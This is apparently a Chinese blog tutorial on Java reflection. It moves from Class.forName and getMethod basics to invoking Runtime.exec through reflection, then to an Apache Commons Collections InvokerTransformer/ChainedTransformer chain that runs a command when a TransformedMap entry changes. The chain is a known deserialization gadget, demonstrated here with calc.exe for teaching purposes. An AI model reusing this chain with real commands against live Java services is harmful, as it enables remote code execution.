目录

什么是反射?

获取.class字节码文件对象

获取该.class字节码文件对象的详细信息

通过反射机制执行函数

反射链


反射机制是java的一个非常重要的机制,一些著名的应用框架都使用了此机制,如struts、spring、hibernate、android app界面等等。

java.lang.Class它是java语法的一个基础类,用于描述一个class对象。在文件系统中,class以文件的形式存在。在运行的JVM中,*.class文件被加载到内存中成为一个对象,该对象的类型就是java.lang.Class。

什么是反射?

在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取信息以及动态调用对象的方法的功能就称为java语言的反射机制。也就是说,虽然我们获取不到该类的源代码,但是通过该类的.class文件能反射(Reflect)出这些信息。

通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。

想要使用反射机制,就必须要先获取到该类的字节码文件对象 .class,java.lang.Class类表示 .class 字节码文件对象。通过字节码文件对象,就能够通过该类中的方法获取到我们想要的所有信息(方法、属性、类名、父类名、实现的所有接口等等),每一个类对应着一个字节码文件也就对应着一个Class类型的对象,也就是字节码文件对象。

获取.class字节码文件对象

获取字节码文件对象的三种方式,有了字节码文件对象才能获得类中所有的信息,我们在使用反射获取信息时,也要考虑使用下面哪种方式获取字节码对象合理,视不同情况而定。

//方法一
Class clazz1 = Class.forName("my.Student");//通过Class类中的静态方法forName,直接获取到一个类的字节码文件对象,此时该类还是源文件阶段,并没有变为字节码文件。包名为 my,类名为 Student
//方法二
Class clazz2 = Student.class; //当类被加载成.class文件时,此时Student.java类变成了Student.class,该类处于字节码阶段
//方法三
Student s=new Student(); //实例化Student对象
Class clazz3 = s.getClass(); //通过该类的实例获取该类的字节码文件对象,该类处于创建对象阶段

获取该.class字节码文件对象的详细信息

当我们得到一个.class字节码文件对象,我们可以得到以下信息:

  • 类名 (含package路径)
  • 函数 (名称,参数类型,返回值)
  • 域 (名称,类型)
  • 实现的接口 (interfaces)

使用 java.lang.reflect.*下的类来实现

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.text.DateFormat.Field; public class main
public static void main(String[] args) throws Exception{
Object obj=new Student(); //Student实例
Class cls=obj.getClass(); //得到Student字节码对象 //通过函数名和函数参数,得到函数
String methodName="setId"; //函数名字
Class[] par={int.class,String.class}; //函数参数
Method m=cls.getMethod(methodName, par); //返回函数
//调用method
Object[] paramters={123,"haha"}; //传递参数
m.invoke(obj,paramters); //执行函数 cls.getPackage(); //获取包信息
String str=cls.getSimpleName(); //Student ,获得该类的名字,不包含包名
String str2=cls.getName(); //my.Student,获得该类的名字,包含包名
Object obj2=cls.newInstance(); //创建一个实例,要求有一个不带参数的构造函数
int modified=cls.getModifiers(); //获取cls对象的类修饰符
Class[] interfaces=cls.getInterfaces(); //获取实现的接口集合
Constructor[] con=cls.getConstructors(); //获取构造函数的集合
Method[] methods=cls.getMethods(); //获取函数列表
cls.getDeclaredAnnotations(); //获取私有函数(protected和private修饰的)
java.lang.reflect.Field[] fields=cls.getFields(); //获取成员变量列表
cls.getDeclaredField(str2); //获取私有变量(protected和private修饰的)
}
}

通过反射机制执行函数

如下,下面的代码中我们利用JAVA 的反射机制来调用计算器。我们利用了Java的反射机制把我们的代码意图都利用字符串的形式进行体现,使得原本应该是字符串的属性,变成了代码执行的逻辑。

import java.lang.reflect.InvocationTargetException;
public class main3 {
public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException {
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null); //得到Runtime.getRuntime()函数
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe"); //执行函数
}
}

运行代码,可以看到,执行了 calc.exe 的命令

反射链

什么是反射链呢?

我们来查看 org.apache.commons.collections.functors.InvokerTransformer.java 的源代码,这个接口实现了反射链,可以通过Java的反射机制来执行任意命令

public class InvokerTransformer implements Transformer, Serializable {
/*
Input参数为要进行反射的对象,
iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
iArgs为对应方法的参数
在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
*/
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
private void writeObject(ObjectOutputStream os) throws IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
os.defaultWriteObject();
}
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}
}

然后,我们去实现这个接口,只需要传入方法名、参数类型和参数,即可调用任意函数。在这里,我们可以看到,先用ConstantTransformer() 获取了 Runtime 类,接着通过反射调用 getRuntime 函数,再调用 getRuntime 的 exec() 函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; public class main2 {
public static void main(String[] args) {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class), //获得Runtime.class字节码文件
//通过反射,返回一个对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
//ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
Transformer transformedChain=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
innerMap.put("value","value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
Map.Entry entry=(Entry)outerMap.entrySet().iterator().next();
entry.setValue("test"); //修改值,触发执行
}
}

可以看到,当Map中的Value值被修改了,触发执行了Transformer的transform()方法,通过反射链调用了Runtime.getRuntime.exec("calc.exe") 命令

Java中的反射机制Reflection的更多相关文章

  1. 浅说Java中的反射机制(一)

    在学习传智播客李勇老师的JDBC系列时,会出现反射的概念,由于又是第一次见,不免感到陌生.所以再次在博客园找到一篇文章,先记录如下: 引用自java中的反射机制,作者bingoideas.(()为我手 ...

  2. java 中利用反射机制获取和设置实体类的属性值

    摘要: 在java编程中,我们经常不知道传入自己方法中的实体类中到底有哪些方法,或者,我们需要根据用户传入的不同的属性来给对象设置不同的属性值,那么,java自带的反射机制可以很方便的达到这种目的,同 ...

  3. java中的反射机制在Android开发中的用处

    JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意一个方法和属性:这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反 ...

  4. 浅说Java中的反射机制(二)

    写过一篇Java中的反射机制,不算是写,应该是抄了,因为那是别人写的,这一篇也是别人写的,摘抄如下: 引自于Java基础--反射机制的知识点梳理,作者醉眼识朦胧.(()为我手记) 什么是反射? 正常编 ...

  5. 【Java基础】java中的反射机制与动态代理

    一.java中的反射机制 java反射的官方定义:在运行状态下,可以获取任意一个类的所有属性和方法,并且可通过某类任意一对象实例调用该类的所有方法.这种动态获取类的信息及动态调用类中方法的功能称为ja ...

  6. Java中的反射机制(一)

    基本概念 在Java运行时环境中,对于任意一个类,能否知道这个类有哪些属性和方法?对于任意一个对象,能否调用它的任意一个方法? 答案是肯定的. 这种动态获取类的信息以及动态调用对象的方法的功能来自于J ...

  7. Java 中的反射机制

    JAVA反射机制 JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意一个方法:这种动态获取的信息以及动态调用对象的方法的功能称为ja ...

  8. 深入理解Java中的反射机制

    JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意方法和属性:这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制. ...

  9. Java中的反射机制和动态代理

    一.反射概述 反射机制指的是Java在运行时候有一种自观的能力,能够了解自身的情况为下一步做准备,其想表达的意思就是:在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法:对于任意一个对象 ...

随机推荐

  1. 【Arduino学习笔记05】Arduino数字输入、输出和脉冲宽带调制 -- 小项目:彩色小台灯

    基本功能: 长按控制按钮开机,长按控制按钮关机(>3s) 通过三个调节按钮调节灯的颜色,每一个按钮分别对应R,G,B值 模式切换:短按控制按钮切换模式(长亮模式/闪烁模式) 元器件清单: Ard ...

  2. CVE-2019-20372-Nginx error_page 请求走私

    一.漏洞简介 Nginx 1.17.7之前版本中 error_page 存在安全漏洞.攻击者可利用该漏洞读取未授权的Web页面. 二.漏洞影响 Ngnix < 1.17.7 三.复现过程 错误代 ...

  3. LNMP配置——安装Nginx

    一.下载 #cd /usr/local/src/ #wget http://nginx.org/download/nginx-1.16.1.tar.gz 二.解压 # tar zxf nginx-1. ...

  4. 输入一个字符串,按字典序打印出该字符串中字符的所有排列。例如输入字符串abc,则打印出由字符a,b,c所能排列出来的所有字符串abc,acb,bac,bca,cab和cba。

    题目描述 输入一个字符串,按字典序打印出该字符串中字符的所有排列.例如输入字符串abc,则打印出由字符a,b,c所能排列出来的所有字符串abc,acb,bac,bca,cab和cba. 输入描述: 输 ...

  5. Git Fetch failed解决办法

    Git 下拉过程中,电脑死机了,重启后出现问题 找到的解决办法 https://blog.csdn.net/qq_33330887/article/details/80242206

  6. validator库参数校验

    目录 validator库参数校验若干实用技巧 基本示例 翻译校验错误提示信息 自定义错误提示信息的字段名 自定义结构体校验方法 自定义字段校验方法 自定义翻译方法 validator库参数校验若干实 ...

  7. 生成元(JAVA语言)

    package 第三章; import java.util.Scanner; public class 生成元 { public static void main(String[] args) { / ...

  8. 2、Spring教程之HelloSpring

    导入Jar包 注 : spring 需要导入commons-logging进行日志记录 . 我们利用maven , 他会自动下载对应的依赖项 . <dependency> <grou ...

  9. 使用oracle序列+oracle定时任务获取每月从1开始的流水码

    --创建序列 --入库create sequence rk_seq;--出库create sequence ck_seq;--移库create sequence yk_seq; --创建存储过程 cr ...

  10. Android Studio 安装及配置

    安装时的那些事 •相关链接 [1]:无需翻墙的链接 [2]:Android Studio 安装教程 •从安装到放弃??? 初次接触 Android,并知道了开发 Android APP 的软件--An ...